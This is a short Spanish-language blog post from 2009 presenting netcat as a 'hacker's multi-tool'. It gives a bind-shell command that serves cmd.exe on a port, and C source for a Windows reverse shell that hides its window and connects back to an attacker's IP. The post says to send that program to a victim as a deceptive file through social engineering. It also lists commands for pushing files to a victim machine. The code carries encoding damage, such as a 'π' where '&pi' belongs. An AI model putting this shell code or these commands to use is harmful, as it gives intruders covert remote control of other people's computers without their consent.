Net Cat "la navaja multiusos"

Jul 18, 2009

Esta herramienta que hoy presento ocupa sobre unos 100kb y sus aplicaciones son infinitas(Desde montar un chat, hasta enviar ficheros o averiguar datos sonbre una web,hasta obtener shells remotas vía LAN o vía WAN).Por eso se ha hecho tan famosa y recibe el nombre de "la navaja multiusos del hacker".

¿Cómo obtener una shell?

Es tan sencillo como abrir una consola en el cliente y poner: nc.exe -L -e cmd.exe -p 6000 En el equipo atacante se pondría: nc.exe 192.168.0.3 6000 y ya estaríamos conectados al cliente.

Pero ocurre un problema,si queremos acceder a un equipo donde no tenemos acceso físico a la máquina siempre se puede utilizar la ingeniería social y enviar a la victima un programa engañoso que haga el trabajo de la parte del cliente del netcat,es decir abrir un puerto a la escucha para que nos podamos conectar y obtener el control del ordenador.Pues bien el programa está aquí:

// C compiler
// By Serginho
#include <stdio.h>
#include <string.h> 
#include <winsock.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  WSADATA wsaData;
  SOCKET hSocket;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  struct sockaddr_in addr;
  memset(&amp;addr,0,sizeof(addr));
  memset(&amp;si,0,sizeof(si));
  WSAStartup(MAKEWORD(2,0),&amp;wsaData);
  hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el puerto de conexion NetCat
  addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO NO-IP");//Atencion a esta linea, aki va tu IP
  connect(hSocket,(struct sockaddr*)&amp;addr,sizeof(addr));
  si.cb = sizeof(si);
  si.dwFlags = STARTF_USESTDHANDLES;
  si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
  CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&amp;si,π);
  ExitProcess(0);
}

Si complilamos el exe y lo ejecutamos hace exactamente la misma función.

Enviar y recibir archivos con NetCat

Para poder enviar y recibir archivos con net cat hay que ejecutar comandos en las dos maquinas,o compilar un exe que los ejecute por el netcat.De cualquier suponiendo que el atacante quiere enviar a la vicima,los comando son los siguientes:

Atacante: nc.exe 192.168.0.3 6000 < "archivo" Víctima: nc.exe -l -p 6000 > "nombre archivo"

Netcat se puede descarga aquí.

Y esto es todo por hoy,a probar y a comentar resultados.